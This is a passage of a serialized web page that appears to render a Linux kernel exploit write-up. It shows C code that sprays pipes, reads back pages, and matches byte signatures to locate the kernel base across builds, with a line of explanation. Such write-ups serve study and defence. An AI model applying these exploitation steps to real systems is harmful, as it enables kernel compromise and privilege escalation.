985},{"style":1539},[59986],{"type":27,"value":15056},{"type":22,"tag":264,"props":59988,"children":59989},{"style":1549},[59990],{"type":27,"value":10436},{"type":22,"tag":264,"props":59992,"children":59993},{"style":4309},[59994],{"type":27,"value":4312},{"type":22,"tag":264,"props":59996,"children":59997},{"style":1539},[59998],{"type":27,"value":59999}," PAGE_SIZE ",{"type":22,"tag":264,"props":60001,"children":60002},{"style":4309},[60003],{"type":27,"value":673},{"type":22,"tag":264,"props":60005,"children":60006},{"style":4344},[60007],{"type":27,"value":5817},{"type":22,"tag":264,"props":60009,"children":60010},{"style":1539},[60011],{"type":27,"value":4322},{"type":22,"tag":264,"props":60013,"children":60014},{"class":1534,"line":1677},[60015],{"type":22,"tag":264,"props":60016,"children":60017},{"style":1539},[60018],{"type":27,"value":11616},{"type":22,"tag":264,"props":60020,"children":60021},{"class":1534,"line":1686},[60022,60027,60031,60035,60039,60043,60048,60052,60057,60061],{"type":22,"tag":264,"props":60023,"children":60024},{"style":1539},[60025],{"type":27,"value":60026},"        for (",{"type":22,"tag":264,"props":60028,"children":60029},{"style":4293},[60030],{"type":27,"value":20352},{"type":22,"tag":264,"props":60032,"children":60033},{"style":1549},[60034],{"type":27,"value":9918},{"type":22,"tag":264,"props":60036,"children":60037},{"style":4309},[60038],{"type":27,"value":4312},{"type":22,"tag":264,"props":60040,"children":60041},{"style":4344},[60042],{"type":27,"value":4347},{"type":22,"tag":264,"props":60044,"children":60045},{"style":1539},[60046],{"type":27,"value":60047},"; j ",{"type":22,"tag":264,"props":60049,"children":60050},{"style":4309},[60051],{"type":27,"value":7097},{"type":22,"tag":264,"props":60053,"children":60054},{"style":1539},[60055],{"type":27,"value":60056}," PIPE_SPRAY; j",{"type":22,"tag":264,"props":60058,"children":60059},{"style":4309},[60060],{"type":27,"value":52590},{"type":22,"tag":264,"props":60062,"children":60063},{"style":1539},[60064],{"type":27,"value":4463},{"type":22,"tag":264,"props":60066,"children":60067},{"class":1534,"line":4948},[60068],{"type":22,"tag":264,"props":60069,"children":60070},{"style":1539},[60071],{"type":27,"value":32974},{"type":22,"tag":264,"props":60073,"children":60074},{"class":1534,"line":4957},[60075,60080,60084,60088,60093,60097],{"type":22,"tag":264,"props":60076,"children":60077},{"style":4401},[60078],{"type":27,"value":60079},"            memset",{"type":22,"tag":264,"props":60081,"children":60082},{"style":1539},[60083],{"type":27,"value":2660},{"type":22,"tag":264,"props":60085,"children":60086},{"style":4309},[60087],{"type":27,"value":4413},{"type":22,"tag":264,"props":60089,"children":60090},{"style":1539},[60091],{"type":27,"value":60092},"data, ",{"type":22,"tag":264,"props":60094,"children":60095},{"style":4344},[60096],{"type":27,"value":5334},{"type":22,"tag":264,"props":60098,"children":60099},{"style":1539},[60100],{"type":27,"value":60101},", PAGE_SIZE);\n",{"type":22,"tag":264,"props":60103,"children":60104},{"class":1534,"line":4980},[60105,60110],{"type":22,"tag":264,"props":60106,"children":60107},{"style":4293},[60108],{"type":27,"value":60109},"            int",{"type":22,"tag":264,"props":60111,"children":60112},{"style":1539},[60113],{"type":27,"value":60114}," count;\n",{"type":22,"tag":264,"props":60116,"children":60117},{"class":1534,"line":4989},[60118,60123,60128,60132,60137,60141,60146,60151,60155,60159,60163,60168,60172,60176],{"type":22,"tag":264,"props":60119,"children":60120},{"style":4328},[60121],{"type":27,"value":60122},"            if",{"type":22,"tag":264,"props":60124,"children":60125},{"style":1539},[60126],{"type":27,"value":60127}," (count ",{"type":22,"tag":264,"props":60129,"children":60130},{"style":4309},[60131],{"type":27,"value":429},{"type":22,"tag":264,"props":60133,"children":60134},{"style":4401},[60135],{"type":27,"value":60136}," read",{"type":22,"tag":264,"props":60138,"children":60139},{"style":1539},[60140],{"type":27,"value":2660},{"type":22,"tag":264,"props":60142,"children":60143},{"style":1549},[60144],{"type":27,"value":60145},"pfd",{"type":22,"tag":264,"props":60147,"children":60148},{"style":1539},[60149],{"type":27,"value":60150},"[j][",{"type":22,"tag":264,"props":60152,"children":60153},{"style":4344},[60154],{"type":27,"value":5334},{"type":22,"tag":264,"props":60156,"children":60157},{"style":1539},[60158],{"type":27,"value":24361},{"type":22,"tag":264,"props":60160,"children":60161},{"style":4309},[60162],{"type":27,"value":4413},{"type":22,"tag":264,"props":60164,"children":60165},{"style":1539},[60166],{"type":27,"value":60167},"data, PAGE_SIZE) ",{"type":22,"tag":264,"props":60169,"children":60170},{"style":4309},[60171],{"type":27,"value":7097},{"type":22,"tag":264,"props":60173,"children":60174},{"style":4344},[60175],{"type":27,"value":4347},{"type":22,"tag":264,"props":60177,"children":60178},{"style":1539},[60179],{"type":27,"value":4463},{"type":22,"tag":264,"props":60181,"children":60182},{"class":1534,"line":4998},[60183],{"type":22,"tag":264,"props":60184,"children":60185},{"style":1539},[60186],{"type":27,"value":33010},{"type":22,"tag":264,"props":60188,"children":60189},{"class":1534,"line":5067},[60190,60195],{"type":22,"tag":264,"props":60191,"children":60192},{"style":4328},[60193],{"type":27,"value":60194},"                continue",{"type":22,"tag":264,"props":60196,"children":60197},{"style":1539},[60198],{"type":27,"value":4322},{"type":22,"tag":264,"props":60200,"children":60201},{"class":1534,"line":5075},[60202],{"type":22,"tag":264,"props":60203,"children":60204},{"style":1539},[60205],{"type":27,"value":60206},"            }\n",{"type":22,"tag":264,"props":60208,"children":60209},{"class":1534,"line":5105},[60210],{"type":22,"tag":264,"props":60211,"children":60212},{"style":1539},[60213],{"type":27,"value":11616},{"type":22,"tag":264,"props":60215,"children":60216},{"class":1534,"line":5113},[60217],{"type":22,"tag":264,"props":60218,"children":60219},{"emptyLinePlaceholder":17},[60220],{"type":27,"value":4986},{"type":22,"tag":264,"props":60222,"children":60223},{"class":1534,"line":5145},[60224,60229,60234,60238,60242],{"type":22,"tag":264,"props":60225,"children":60226},{"style":1539},[60227],{"type":27,"value":60228},"            if (",{"type":22,"tag":264,"props":60230,"children":60231},{"style":4722},[60232],{"type":27,"value":60233},"is_kernel_base",{"type":22,"tag":264,"props":60235,"children":60236},{"style":1539},[60237],{"type":27,"value":2660},{"type":22,"tag":264,"props":60239,"children":60240},{"style":4722},[60241],{"type":27,"value":5013},{"type":22,"tag":264,"props":60243,"children":60244},{"style":1539},[60245],{"type":27,"value":60246},")) // [1] identify kernel base\n",{"type":22,"tag":264,"props":60248,"children":60249},{"class":1534,"line":5153},[60250],{"type":22,"tag":264,"props":60251,"children":60252},{"style":1539},[60253],{"type":27,"value":33010},{"type":22,"tag":264,"props":60255,"children":60256},{"class":1534,"line":5213},[60257,60262,60266,60270],{"type":22,"tag":264,"props":60258,"children":60259},{"style":1539},[60260],{"type":27,"value":60261},"                found ",{"type":22,"tag":264,"props":60263,"children":60264},{"style":4309},[60265],{"type":27,"value":429},{"type":22,"tag":264,"props":60267,"children":60268},{"style":4293},[60269],{"type":27,"value":13768},{"type":22,"tag":264,"props":60271,"children":60272},{"style":1539},[60273],{"type":27,"value":4322},{"type":22,"tag":264,"props":60275,"children":60276},{"class":1534,"line":10343},[60277,60282],{"type":22,"tag":264,"props":60278,"children":60279},{"style":4328},[60280],{"type":27,"value":60281},"                break",{"type":22,"tag":264,"props":60283,"children":60284},{"style":1539},[60285],{"type":27,"value":4322},{"type":22,"tag":264,"props":60287,"children":60288},{"class":1534,"line":10361},[60289],{"type":22,"tag":264,"props":60290,"children":60291},{"style":1539},[60292],{"type":27,"value":60206},{"type":22,"tag":264,"props":60294,"children":60295},{"class":1534,"line":10406},[60296],{"type":22,"tag":264,"props":60297,"children":60298},{"style":1539},[60299],{"type":27,"value":4651},{"type":22,"tag":264,"props":60301,"children":60302},{"class":1534,"line":10512},[60303],{"type":22,"tag":264,"props":60304,"children":60305},{"emptyLinePlaceholder":17},[60306],{"type":27,"value":4986},{"type":22,"tag":264,"props":60308,"children":60309},{"class":1534,"line":24810},[60310],{"type":22,"tag":264,"props":60311,"children":60312},{"style":1539},[60313],{"type":27,"value":11616},{"type":22,"tag":23,"props":60315,"children":60316},{},[60317,60319,60323,60325,60331,60333,60337],{"type":27,"value":60318},"Notice that at ",{"type":22,"tag":264,"props":60320,"children":60321},{},[60322],{"type":27,"value":602},{"type":27,"value":60324}," we call the ",{"type":22,"tag":257,"props":60326,"children":60328},{"className":60327},[],[60329],{"type":27,"value":60330},"is_kernel_base()",{"type":27,"value":60332}," function. This is a function based on lau's exploit ",{"type":22,"tag":264,"props":60334,"children":60335},{},[60336],{"type":27,"value":885},{"type":27,"value":60338}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":22,"tag":618,"props":60340,"children":60342},{"className":30424,"code":60341,"language":30426,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[60343],{"type":22,"tag":257,"props":60344,"children":60345},{"__ignoreMap":7},[60346,60353,60383,60390,60398,60405,60413,60484,60546,60561,60568,60576,60644,60706,60767,60828,60890,60952,61013,61074,61135,61196,61257,61272,61279,61294,61301],{"type":22,"tag":264,"props":60347,"children":60348},{"class":1534,"line":1535},[60349],{"type":22,"tag":264,"props":60350,"children":60351},{"style":1539},[60352],{"type":27,"value":11616},{"type":22,"tag":264,"props":60354,"children":60355},{"class":1534,"line":1545},[60356,60361,60366,60371,60375,60379],{"type":22,"tag":264,"props":60357,"children":60358},{"style":1539},[60359],{"type":27,"value":60360},"static bool is_kernel_base(",{"type":22,"tag":264,"props":60362,"children":60363},{"style":4293},[60364],{"type":27,"value":60365},"unsigned",{"type":22,"tag":264,"props":60367,"children":60368},{"style":4293},[60369],{"type":27,"value":60370}," char",{"type":22,"tag":264,"props":60372,"children":60373},{"style":4293},[60374],{"type":27,"value":11115},{"type":22,"tag":264,"props":60376,"children":60377},{"style":1549},[60378],{"type":27,"value":32001},{"type":22,"tag":264,"props":60380,"children":60381},{"style":1539},[60382],{"type":27,"value":4463},{"type":22,"tag":264,"props":60384,"children":60385},{"class":1534,"line":1560},[60386],{"type":22,"tag":264,"props":60387,"children":60388},{"style":1539},[60389],{"type":27,"value":1542},{"type":22,"tag":264,"props":60391,"children":60392},{"class":1534,"line":1569},[60393],{"type":22,"tag":264,"props":60394,"children":60395},{"style":4284},[60396],{"type":27,"value":60397},"    // thanks lau :)\n",{"type":22,"tag":264,"props":60399,"children":60400},{"class":1534,"line":1583},[60401],{"type":22,"tag":264,"props":60402,"children":60403},{"emptyLinePlaceholder":17},[60404],{"type":27,"value":4986},{"type":22,"tag":264,"props":60406,"children":60407},{"class":1534,"line":1603},[60408],{"type":22,"tag":264,"props":60409,"children":60410},{"style":4284},[60411],{"type":27,"value":60412},"    // get-sig kernel_runtime_1\n",{"type":22,"tag":264,"props":60414,"children":60415},{"class":1534,"line":1612},[60416,60420,60424,60429,60434,60438,60443,60447,60451,60456,60460,60464,60468,60472,60476,60480],{"type":22,"tag":264,"props":60417,"children":60418},{"style":4328},[60419],{"type":27,"value":13578},{"type":22,"tag":264,"props":60421,"children":60422},{"style":1539},[60423],{"type":27,"value":4370},{"type":22,"tag":264,"props":60425,"children":60426},{"style":4401},[60427],{"type":27,"value":60428},"memcmp",{"type":22,"tag":264,"props":60430,"children":60431},{"style":1539},[60432],{"type":27,"value":60433},"(addr ",{"type":22,"tag":264,"props":60435,"children":60436},{"style":4309},[60437],{"type":27,"value":673},{"type":22,"tag":264,"props":60439,"children":60440},{"style":4344},[60441],{"type":27,"value":60442}," 0x0",{"type":22,"tag":264,"props":60444,"children":60445},{"style":1539},[60446],{"type":27,"value":4380},{"type":22,"tag":264,"props":60448,"children":60449},{"style":1597},[60450],{"type":27,"value":21366},{"type":22,"tag":264,"props":60452,"children":60453},{"style":49693},[60454],{"type":27,"value":60455},"\\x48\\x8d\\x25\\x51\\x3f",{"type":22,"tag":264,"props":60457,"children":60458},{"style":1597},[60459],{"type":27,"value":21366},{"type":22,"tag":264,"props":60461,"children":60462},{"style":1539},[60463],{"type":27,"value":4380},{"type":22,"tag":264,"props":60465,"children":60466},{"style":4344},[60467],{"type":27,"value":885},{"type":22,"tag":264,"props":60469,"children":60470},{"style":1539},[60471],{"type":27,"value":4390},{"type":22,"tag":264,"props":60473,"children":60474},{"style":4309},[60475],{"type":27,"value":9870},{"type":22,"tag":264,"props":60477,"children":60478},{"style":4344},[60479],{"type":27,"value":4347},{"type":22,"tag":264,"props":60481,"children":60482},{"style":4309},[60483],{"type":27,"value":54005},{"type":22,"tag":264,"props":60485,"children":60486},{"class":1534,"line":1621},[60487,60492,60496,60500,60505,60509,60513,60518,60522,60526,60530,60534,60538,60542],{"type":22,"tag":264,"props":60488,"children":60489},{"style":4401},[60490],{"type":27,"value":60491},"        memcmp",{"type":22,"tag":264,"props":60493,"children":60494},{"style":1539},[60495],{"type":27,"value":60433},{"type":22,"tag":264,"props":60497,"children":60498},{"style":4309},[60499],{"type":27,"value":673},{"type":22,"tag":264,"props":60501,"children":60502},{"style":4344},[60503],{"type":27,"value":60504}," 0x7",{"type":22,"tag":264,"props":60506,"children":60507},{"style":1539},[60508],{"type":27,"value":4380},{"type":22,"tag":264,"props":60510,"children":60511},{"style":1597},[60512],{"type":27,"value":21366},{"type":22,"tag":264,"props":60514,"children":60515},{"style":49693},[60516],{"type":27,"value":60517},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":22,"tag":264,"props":60519,"children":60520},{"style":1597},[60521],{"type":27,"value":21366},{"type":22,"tag":264,"props":60523,"children":60524},{"style":1539},[60525],{"type":27,"value":4380},{"type":22,"tag":264,"props":60527,"children":60528},{"style":4344},[60529],{"type":27,"value":55992},{"type":22,"tag":264,"props":60531,"children":60532},{"style":1539},[60533],{"type":27,"value":4390},{"type":22,"tag":264,"props":60535,"children":60536},{"style":4309},[60537],{"type":27,"value":9870},{"type":22,"tag":264,"props":60539,"children":60540},{"style":4344},[60541],{"type":27,"value":4347},{"type":22,"tag":264,"props":60543,"children":60544},{"style":1539},[60545],{"type":27,"value":4463},{"type":22,"tag":264,"props":60547,"children":60548},{"class":1534,"line":1629},[60549,60553,60557],{"type":22,"tag":264,"props":60550,"children":60551},{"style":4328},[60552],{"type":27,"value":17044},{"type":22,"tag":264,"props":60554,"children":60555},{"style":4293},[60556],{"type":27,"value":13768},{"type":22,"tag":264,"props":60558,"children":60559},{"style":1539},[60560],{"type":27,"value":4322},{"type":22,"tag":264,"props":60562,"children":60563},{"class":1534,"line":1642},[60564],{"type":22,"tag":264,"props":60565,"children":60566},{"emptyLinePlaceholder":17},[60567],{"type":27,"value":4986},{"type":22,"tag":264,"props":60569,"children":60570},{"class":1534,"line":1660},[60571],{"type":22,"tag":264,"props":60572,"children":60573},{"style":4284},[60574],{"type":27,"value":60575},"    // get-sig kernel_runtime_2\n",{"type":22,"tag":264,"props":60577,"children":60578},{"class":1534,"line":1668},[60579,60583,60587,60591,60595,60599,60603,60607,60611,60616,60620,60624,60628,60632,60636,60640],{"type":22,"tag":264,"props":60580,"children":60581},{"style":4328},[60582],{"type":27,"value":13578},{"type":22,"tag":264,"props":60584,"children":60585},{"style":1539},[60586],{"type":27,"value":4370},{"type":22,"tag":264,"props":60588,"children":60589},{"style":4401},[60590],{"type":27,"value":60428},{"type":22,"tag":264,"props":60592,"children":60593},{"style":1539},[60594],{"type":27,"value":60433},{"type":22,"tag":264,"props":60596,"children":60597},{"style":4309},[60598],{"type":27,"value":673},{"type":22,"tag":264,"props":60600,"children":60601},{"style":4344},[60602],{"type":27,"value":60442},{"type":22,"tag":264,"props":60604,"children":60605},{"style":1539},[60606],{"type":27,"value":4380},{"type":22,"tag":264,"props":60608,"children":60609},{"style":1597},[60610],{"type":27,"value":21366},{"type":22,"tag":264,"props":60612,"children":60613},{"style":49693},[60614],{"type":27,"value":60615},"\\xfc\\x0f\\x01\\x15",{"type":22,"tag":264,"props":60617,"children":60618},{"style":1597},[60619],{"type":27,"value":21366},{"type":22,"tag":264,"props":60621,"children":60622},{"style":1539},[60623],{"type":27,"value":4380},{"type":22,"tag":264,"props":60625,"children":60626},{"style":4344},[60627],{"type":27,"value":18831},{"type":22,"tag":264,"props":60629,"children":60630},{"style":1539},[60631],{"type":27,"value":4390},{"type":22,"tag":264,"props":60633,"children":60634},{"style":4309},[60635],{"type":27,"value":9870},{"type":22,"tag":264,"props":60637,"children":60638},{"style":4344},[60639],{"type":27,"value":4347},{"type":22,"tag":264,"props":60641,"children":60642},{"style":4309},[60643],{"type":27,"value":54005},{"type":22,"tag":264,"props":60645,"children":60646},{"class":1534,"line":1677},[60647,60651,60655,60659,60664,60668,60672,60677,60681,60685,60690,60694,60698,60702],{"type":22,"tag":264,"props":60648,"children":60649},{"style":4401},[60650],{"type":27,"value":60491},{"type":22,"tag":264,"props":60652,"children":60653},{"style":1539},[60654],{"type":27,"value":60433},{"type":22,"tag":264,"props":60656,"children":60657},{"style":4309},[60658],{"type":27,"value":673},{"type":22,"tag":264,"props":60660,"children":60661},{"style":4344},[60662],{"type":27,"value":60663}," 0x8",{"type":22,"tag":264,"props":60665,"children":60666},{"style":1539},[60667],{"type":27,"value":4380},{"type":22,"tag":264,"props":60669,"children":60670},{"style":1597},[60671],{"type":27,"value":21366},{"type":22,"tag":264,"props":60673,"children":60674},{"style":49693},[60675],{"type":27,"value":60676},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":22,"tag":264,"props":60678,"children":60679},{"style":1597},[60680],{"type":27,"value":21366},{"type":22,"tag":264,"props":60682,"children":60683},{"style":1539},[60684],{"type":27,"value":4380},{"type":22,"tag":264,"props":60686,"children":60687},{"style":4344},[60688],{"type":27,"value":60689},"12",{"type":22,"tag":264,"props":60691,"children":60692},{"style":1539},[60693],{"type":27,"value":4390},{"type":22,"tag":264,"props":60695,"children":60696},{"style":4309},[60697],{"type":27,"value":9870},{"type":22,"tag":264,"props":60699,"children":60700},{"style":4344},[60701],{"type":27,"value":4347},{"type":22,"tag":264,"props":60703,"children":60704},{"style":4309},[60705],{"type":27,"value":54005},{"type":22,"tag":264,"props":60707,"children":60708},{"class":1534,"line":1686},[60709,60713,60717,60721,60726,60730,60734,60739,60743,60747,60751,60755,60759,60763],{"type":22,"tag":264,"props":60710,"children":60711},{"style":4401},[60712],{"type":27,"value":60491},{"type":22,"tag":264,"props":60714,"children":60715},{"style":1539},[60716],{"type":27,"value":60433},{"type":22,"tag":264,"props":60718,"children":60719},{"style":4309},[60720],{"type":27,"value":673},{"type":22,"tag":264,"props":60722,"children":60723},{"style":4344},[60724],{"type":27,"value":60725}," 0x18",{"type":22,"tag":264,"props":60727,"children":60728},{"style":1539},[60729],{"type":27,"value":4380},{"type":22,"tag":264,"props":60731,"children":60732},{"style":1597},[60733],{"type":27,"value":21366},{"type":22,"tag":264,"props":60735,"children":60736},{"style":49693},[60737],{"type":27,"value":60738},"\\x89\\xde\\x8b\\x0d",{"type":22,"tag":264,"props":60740,"children":60741},{"style":1597},[60742],{"type":27,"value":21366},{"type":22,"tag":264,"props":60744,"children":60745},{"style":1539},[60746],{"type":27,"value":4380},{"type":22,"tag":264,"props":60748,"children":60749},{"style":4344},[60750],{"type":27,"value":18831},{"type":22,"tag":264,"props":60752,"children":60753},{"style":1539},[60754],{"type":27,"value":4390},{"type":22,"tag":264,"props":60756,"children":60757},{"style":4309},[60758],{"type":27,"value":9870},{"type":22,"tag":264,"props":60760,"children":60761},{"style":4344},[60762],{"type":27,"value":4347},{"type":22,"tag":264,"props":60764,"children":60765},{"style":4309},[60766],{"type":27,"value":54005},{"type":22,"tag":264,"props":60768,"children":60769},{"class":1534,"line":4948},[60770,60774,60778,60782,60787,60791,60795,60800,60804,60808,60812,60816,60820,60824],{"type":22,"tag":264,"props":60771,"children":60772},{"style":4401},[60773],{"type":27,"value":60491},{"type":22,"tag":264,"props":60775,"children":60776},{"style":1539},[60777],{"type":27,"value":60433},{"type":22,"tag":264,"props":60779,"children":60780},{"style":4309},[60781],{"type":27,"value":673},{"type":22,"tag":264,"props":60783,"children":60784},{"style":4344},[60785],{"type":27,"value":60786}," 0x20",{"type":22,"tag":264,"props":60788,"children":60789},{"style":1539},[60790],{"type":27,"value":4380},{"type":22,"tag":264,"props":60792,"children":60793},{"style":1597},[60794],{"type":27,"value":21366},{"type":22,"tag":264,"props":60796,"children":60797},{"style":49693},[60798],{"type":27,"value":60799},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":22,"tag":264,"props":60801,"children":60802},{"style":1597},[60803],{"type":27,"value":21366},{"type":22,"tag":264,"props":60805,"children":60806},{"style":1539},[60807],{"type":27,"value":4380},{"type":22,"tag":264,"props":60809,"children":60810},{"style":4344},[60811],{"type":27,"value":19723},{"type":22,"tag":264,"props":60813,"children":60814},{"style":1539},[60815],{"type":27,"value":4390},{"type":22,"tag":264,"props":60817,"children":60818},{"style":4309},[60819],{"type":27,"value":9870},{"type":22,"tag":264,"props":60821,"children":60822},{"style":4344},[60823],{"type":27,"value":4347},{"type":22,"tag":264,"props":60825,"children":60826},{"style":4309},[60827],{"type":27,"value":54005},{"type":22,"tag":264,"props":60829,"children":60830},{"class":1534,"line":4957},[60831,60835,60839,60843,60848,60852,60856,60861,60865,60869,60874,60878,60882,60886],{"type":22,"tag":264,"props":60832,"children":60833},{"style":4401},[60834],{"type":27,"value":60491},{"type":22,"tag":264,"props":60836,"children":60837},{"style":1539},[60838],{"type":27,"value":60433},{"type":22,"tag":264,"props":60840,"children":60841},{"style":4309},[60842],{"type":27,"value":673},{"type":22,"tag":264,"props":60844,"children":60845},{"style":4344},[60846],{"type":27,"value":60847}," 0x2a",{"type":22,"tag":264,"props":60849,"children":60850},{"style":1539},[60851],{"type":27,"value":4380},{"type":22,"tag":264,"props":60853,"children":60854},{"style":1597},[60855],{"type":27,"value":21366},{"type":22,"tag":264,"props":60857,"children":60858},{"style":49693},[60859],{"type":27,"value":60860},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":22,"tag":264,"props":60862,"children":60863},{"style":1597},[60864],{"type":27,"value":21366},{"type":22,"tag":264,"props":60866,"children":60867},{"style":1539},[60868],{"type":27,"value":4380},{"type":22,"tag":264,"props":60870,"children":60871},{"style":4344},[60872],{"type":27,"value":60873},"24",{"type":22,"tag":264,"props":60875,"children":60876},{"style":1539},[60877],{"type":27,"value":4390},{"type":22,"tag":264,"props":60879,"children":60880},{"style":4309},[60881],{"type":27,"value":9870},{"type":22,"tag":264,"props":60883,"children":60884},{"style":4344},[60885],{"type":27,"value":4347},{"type":22,"tag":264,"props":60887,"children":60888},{"style":4309},[60889],{"type":27,"value":54005},{"type":22,"tag":264,"props":60891,"children":60892},{"class":1534,"line":4980},[60893,60897,60901,60905,60910,60914,60918,60923,60927,60931,60936,60940,60944,60948],{"type":22,"tag":264,"props":60894,"children":60895},{"style":4401},[60896],{"type":27,"value":60491},{"type":22,"tag":264,"props":60898,"children":60899},{"style":1539},[60900],{"type":27,"value":60433},{"type":22,"tag":264,"props":60902,"children":60903},{"style":4309},[60904],{"type":27,"value":673},{"type":22,"tag":264,"props":60906,"children":60907},{"style":4344},[60908],{"type":27,"value":60909}," 0x45",{"type":22,"tag":264,"props":60911,"children":60912},{"style":1539},[60913],{"type":27,"value":4380},{"type":22,"tag":264,"props":60915,"children":60916},{"style":1597},[60917],{"type":27,"value":21366},{"type":22,"tag":264,"props":60919,"children":60920},{"style":49693},[60921],{"type":27,"value":60922},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":22,"tag":264,"props":60924,"children":60925},{"style":1597},[60926],{"type":27,"value":21366},{"type":22,"tag":264,"props":60928,"children":60929},{"style":1539},[60930],{"type":27,"value":4380},{"type":22,"tag":264,"props":60932,"children":60933},{"style":4344},[60934],{"type":27,"value":60935},"15",{"type":22,"tag":264,"props":60937,"children":60938},{"style":1539},[60939],{"type":27,"value":4390},{"type":22,"tag":264,"props":60941,"children":60942},{"style":4309},[60943],{"type":27,"value":9870},{"type":22,"tag":264,"props":60945,"children":60946},{"style":4344},[60947],{"type":27,"value":4347},{"type":22,"tag":264,"props":60949,"children":60950},{"style":4309},[60951],{"type":27,"value":54005},{"type":22,"tag":264,"props":60953,"children":60954},{"class":1534,"line":4989},[60955,60959,60963,60967,60972,60976,60980,60985,60989,60993,60997,61001,61005,61009],{"type":22,"tag":264,"props":60956,"children":60957},{"style":4401},[60958],{"type":27,"value":60491},{"type":22,"tag":264,"props":60960,"children":60961},{"style":1539},[60962],{"type":27,"value":60433},{"type":22,"tag":264,"props":60964,"children":60965},{"style":4309},[60966],{"type":27,"value":673},{"type":22,"tag":264,"props":60968,"children":60969},{"style":4344},[60970],{"type":27,"value":60971}," 0x55",{"type":22,"tag":264,"props":60973,"children":60974},{"style":1539},[60975],{"type":27,"value":4380},{"type":22,"tag":264,"props":60977,"children":60978},{"style":1597},[60979],{"type":27,"value":21366},{"type":22,"tag":264,"props":60981,"children":60982},{"style":49693},[60983],{"type":27,"value":60984},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":22,"tag":264,"props":60986,"children":60987},{"style":1597},[60988],{"type":27,"value":21366},{"type":22,"tag":264,"props":60990,"children":60991},{"style":1539},[60992],{"type":27,"value":4380},{"type":22,"tag":264,"props":60994,"children":60995},{"style":4344},[60996],{"type":27,"value":5378},{"type":22,"tag":264,"props":60998,"children":60999},{"style":1539},[61000],{"type":27,"value":4390},{"type":22,"tag":264,"props":61002,"children":61003},{"style":4309},[61004],{"type":27,"value":9870},{"type":22,"tag":264,"props":61006,"children":61007},{"style":4344},[61008],{"type":27,"value":4347},{"type":22,"tag":264,"props":61010,"children":61011},{"style":4309},[61012],{"type":27,"value":54005},{"type":22,"tag":264,"props":61014,"children":61015},{"class":1534,"line":4998},[61016,61020,61024,61028,61033,61037,61041,61046,61050,61054,61058,61062,61066,61070],{"type":22,"tag":264,"props":61017,"children":61018},{"style":4401},[61019],{"type":27,"value":60491},{"type":22,"tag":264,"props":61021,"children":61022},{"style":1539},[61023],{"type":27,"value":60433},{"type":22,"tag":264,"props":61025,"children":61026},{"style":4309},[61027],{"type":27,"value":673},{"type":22,"tag":264,"props":61029,"children":61030},{"style":4344},[61031],{"type":27,"value":61032}," 0x61",{"type":22,"tag":264,"props":61034,"children":61035},{"style":1539},[61036],{"type":27,"value":4380},{"type":22,"tag":264,"props":61038,"children":61039},{"style":1597},[61040],{"type":27,"value":21366},{"type":22,"tag":264,"props":61042,"children":61043},{"style":49693},[61044],{"type":27,"value":61045},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":22,"tag":264,"props":61047,"children":61048},{"style":1597},[61049],{"type":27,"value":21366},{"type":22,"tag":264,"props":61051,"children":61052},{"style":1539},[61053],{"type":27,"value":4380},{"type":22,"tag":264,"props":61055,"children":61056},{"style":4344},[61057],{"type":27,"value":885},{"type":22,"tag":264,"props":61059,"children":61060},{"style":1539},[61061],{"type":27,"value":4390},{"type":22,"tag":264,"props":61063,"children":61064},{"style":4309},[61065],{"type":27,"value":9870},{"type":22,"tag":264,"props":61067,"children":61068},{"style":4344},[61069],{"type":27,"value":4347},{"type":22,"tag":264,"props":61071,"children":61072},{"style":4309},[61073],{"type":27,"value":54005},{"type":22,"tag":264,"props":61075,"children":61076},{"class":1534,"line":5067},[61077,61081,61085,61089,61094,61098,61102,61107,61111,61115,61119,61123,61127,61131],{"type":22,"tag":264,"props":61078,"children":61079},{"style":4401},[61080],{"type":27,"value":60491},{"type":22,"tag":264,"props":61082,"children":61083},{"style":1539},[61084],{"type":27,"value":60433},{"type":22,"tag":264,"props":61086,"children":61087},{"style":4309},[61088],{"type":27,"value":673},{"type":22,"tag":264,"props":61090,"children":61091},{"style":4344},[61092],{"type":27,"